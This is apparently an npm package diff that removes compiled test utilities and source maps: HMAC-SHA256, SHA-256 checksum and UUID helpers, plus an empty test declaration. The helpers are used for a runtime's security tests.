C,UAAU,CAAC,CAAA;QAE/C,MAAM,GAAG,GAAG,IAAI,CAAC,GAAG,EAAE,CAAA;QAEtB,0BAA0B;QAC1B,MAAM,UAAU,GAAG,mBAAmB,CAAC,qBAAqB,CAAC,kBAAkB,EAAE,GAAG,GAAG,IAAI,CAAC,CAAA;QAC5F,MAAM,CAAC,UAAU,CAAC,CAAC,IAAI,CAAC,KAAK,CAAC,CAAA;QAE9B,2BAA2B;QAC3B,MAAM,OAAO,GAAG,mBAAmB,CAAC,qBAAqB,CAAC,kBAAkB,EAAE,GAAG,GAAG,KAAK,CAAC,CAAA;QAC1F,MAAM,CAAC,OAAO,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAA;IAC5B,CAAC,CAAC,CAAA;IAEF,EAAE,CAAC,wDAAwD,EAAE,GAAG,EAAE;QAChE,MAAM,QAAQ,GAAG,EAAE,MAAM,EAAE,UAAU,EAAE,QAAQ,EAAE,MAAM,EAAE,CAAA;QACzD,MAAM,gBAAgB,GAAG,iBAAiB,CAAC,gBAAgB,CACzD,iBAAiB,CAAC,kBAAkB,EACpC,QAAQ,CACT,CAAA;QAED,MAAM,GAAG,GAAG,cAAc,CAAC,aAAa,CAAC,WAAW,EAAE,mBAAmB,EAAE,gBAAgB,CAAC,SAAS,CAAC,CAAA;QAEtG,6DAA6D;QAC7D,MAAM,KAAK,GAAG,CAAC,GAAQ,EAAE,EAAE,CAAC,MAAM,CAAA;QAClC,MAAM,OAAO,GAAG,KAAK,CAAC,IAAI,CAAC,EAAE,MAAM,EAAE,CAAC,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,CACjD,cAAc,CAAC,oBAAoB,CAAC,KAAK,EAAE,SAAS,CAAC,EAAE,EAAE,GAAG,EAAE,aAAa,CAAC,CAC7E,CAAA;QAED,yBAAyB;QACzB,MAAM,CAAC,OAAO,CAAC,KAAK,CAAC,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC,QAAQ,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAA;QAEjD,mCAAmC;QACnC,OAAO,CAAC,OAAO,CAAC,MAAM,CAAC,EAAE;YACvB,MAAM,CAAC,cAAc,CAAC,eAAe,CAAC,MAAM,CAAC,aAAa,EAAE,GAAG,EAAE,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,IAAI,CAAC,CAAA;QAC7F,CAAC,CAAC,CAAA;IACJ,CAAC,CAAC,CAAA;AACJ,CAAC,CAAC,CAAA"}

package/dist/__tests__/runtime/securityTestUtils.d.ts

@@ -1,25 +0,0 @@
-/**
- * Create HMAC-SHA256 verifier for signature validation
- */
-export declare function createHmacSha256Verifier(): (data: string, secretKey: string, expectedSignature: string) => boolean;
-/**
- * Generate HMAC-SHA256 signature
- */
-export declare function generateHmacSha256(data: string, secretKey: string): string;
-/**
- * Create SHA-256 checksum verifier
- */
-export declare function createSha256ChecksumVerifier(): (actualChecksum: string, expectedChecksum: string) => boolean;
-/**
- * Generate SHA-256 checksum
- */
-export declare function generateSha256Checksum(data: string): string;
-/**
- * Generate UUID v4
- */
-export declare function generateUuid(): string;
-/**
- * Create deterministic UUID generator for testing
- */
-export declare function createDeterministicUuidGenerator(prefix?: string): () => string;
-//# sourceMappingURL=securityTestUtils.d.ts.map

package/dist/__tests__/runtime/securityTestUtils.d.ts.map

@@ -1 +0,0 @@
-{"version":3,"file":"securityTestUtils.d.ts","sourceRoot":"","sources":["../../../src/__tests__/runtime/securityTestUtils.ts"],"names":[],"mappings":"AAKA;;GAEG;AACH,wBAAgB,wBAAwB,KAC9B,MAAM,MAAM,EAAE,WAAW,MAAM,EAAE,mBAAmB,MAAM,KAAG,OAAO,CAM7E;AAED;;GAEG;AACH,wBAAgB,kBAAkB,CAAC,IAAI,EAAE,MAAM,EAAE,SAAS,EAAE,MAAM,GAAG,MAAM,CAI1E;AAED;;GAEG;AACH,wBAAgB,4BAA4B,KAClC,gBAAgB,MAAM,EAAE,kBAAkB,MAAM,KAAG,OAAO,CAGnE;AAED;;GAEG;AACH,wBAAgB,sBAAsB,CAAC,IAAI,EAAE,MAAM,GAAG,MAAM,CAI3D;AAED;;GAEG;AACH,wBAAgB,YAAY,IAAI,MAAM,CAMrC;AAED;;GAEG;AACH,wBAAgB,gCAAgC,CAAC,MAAM,GAAE,MAAe,SAE3D,MAAM,CAIlB"}

package/dist/__tests__/runtime/securityTestUtils.js

@@ -1,59 +0,0 @@
-import { createHmac, createHash } from 'crypto';
-// Sprint 1 Day 4-5: Security Test Utilities
-// Provides HMAC-SHA256, SHA-256, and UUID helpers for security tests
-/**
- * Create HMAC-SHA256 verifier for signature validation
- */
-export function createHmacSha256Verifier() {
-    return (data, secretKey, expectedSignature) => {
-        const hmac = createHmac('sha256', secretKey);
-        hmac.update(data);
-        const signature = hmac.digest('hex');
-        return signature === expectedSignature;
-    };
-}
-/**
- * Generate HMAC-SHA256 signature
- */
-export function generateHmacSha256(data, secretKey) {
-    const hmac = createHmac('sha256', secretKey);
-    hmac.update(data);
-    return hmac.digest('hex');
-}
-/**
- * Create SHA-256 checksum verifier
- */
-export function createSha256ChecksumVerifier() {
-    return (actualChecksum, expectedChecksum) => {
-        return actualChecksum === expectedChecksum;
-    };
-}
-/**
- * Generate SHA-256 checksum
- */
-export function generateSha256Checksum(data) {
-    const hash = createHash('sha256');
-    hash.update(data);
-    return hash.digest('hex');
-}
-/**
- * Generate UUID v4
- */
-export function generateUuid() {
-    return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, (c) => {
-        const r = (Math.random() * 16) | 0;
-        const v = c === 'x' ? r : (r & 0x3) | 0x8;
-        return v.toString(16);
-    });
-}
-/**
- * Create deterministic UUID generator for testing
- */
-export function createDeterministicUuidGenerator(prefix = 'test') {
-    let counter = 0;
-    return () => {
-        counter++;
-        return `${prefix}-${counter.toString().padStart(8, '0')}-4xxx-yxxx-xxxxxxxxxxxx`;
-    };
-}
-//# sourceMappingURL=securityTestUtils.js.map

package/dist/__tests__/runtime/securityTestUtils.js.map

@@ -1 +0,0 @@
-{"version":3,"file":"securityTestUtils.js","sourceRoot":"","sources":["../../../src/__tests__/runtime/securityTestUtils.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,UAAU,EAAE,UAAU,EAAE,MAAM,QAAQ,CAAA;AAE/C,4CAA4C;AAC5C,qEAAqE;AAErE;;GAEG;AACH,MAAM,UAAU,wBAAwB;IACtC,OAAO,CAAC,IAAY,EAAE,SAAiB,EAAE,iBAAyB,EAAW,EAAE;QAC7E,MAAM,IAAI,GAAG,UAAU,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAA;QAC5C,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,CAAA;QACjB,MAAM,SAAS,GAAG,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAA;QACpC,OAAO,SAAS,KAAK,iBAAiB,CAAA;IACxC,CAAC,CAAA;AACH,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,kBAAkB,CAAC,IAAY,EAAE,SAAiB;IAChE,MAAM,IAAI,GAAG,UAAU,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAA;IAC5C,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,CAAA;IACjB,OAAO,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAA;AAC3B,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,4BAA4B;IAC1C,OAAO,CAAC,cAAsB,EAAE,gBAAwB,EAAW,EAAE;QACnE,OAAO,cAAc,KAAK,gBAAgB,CAAA;IAC5C,CAAC,CAAA;AACH,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,sBAAsB,CAAC,IAAY;IACjD,MAAM,IAAI,GAAG,UAAU,CAAC,QAAQ,CAAC,CAAA;IACjC,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,CAAA;IACjB,OAAO,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAA;AAC3B,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,YAAY;IAC1B,OAAO,sCAAsC,CAAC,OAAO,CAAC,OAAO,EAAE,CAAC,CAAC,EAAE,EAAE;QACnE,MAAM,CAAC,GAAG,CAAC,IAAI,CAAC,MAAM,EAAE,GAAG,EAAE,CAAC,GAAG,CAAC,CAAA;QAClC,MAAM,CAAC,GAAG,CAAC,KAAK,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,GAAG,GAAG,CAAC,GAAG,GAAG,CAAA;QACzC,OAAO,CAAC,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAA;IACvB,CAAC,CAAC,CAAA;AACJ,CAAC;AAED;;GAEG;AACH,MAAM,UAAU,gCAAgC,CAAC,SAAiB,MAAM;IACtE,IAAI,OAAO,GAAG,CAAC,CAAA;IACf,OAAO,GAAW,EAAE;QAClB,OAAO,EAAE,CAAA;QACT,OAAO,GAAG,MAAM,IAAI,OAAO,CAAC,QAAQ,EAAE,CAAC,QAAQ,CAAC,CAAC,EAAE,GAAG,CAAC,yBAAyB,CAAA;IAClF,CAAC,CAAA;AACH,CAAC"}

package/dist/__tests__/runtime/transition-validator.test.d.ts

@@ -1,2 +0,0 @@
-export {};
-//# sourceMappingURL=transition-validator.test.d.ts.map

package/dist/__tests__/runtime/transition-validator.test.d.ts.map

@@ -1 +0,0 @@
-{"version":3,"file":"transition-validator.test.d.ts","sourceRoot":"","sources":["../../../src/__tests__/runtime/transition-validator.test.ts"],"names":[],"mappings":""}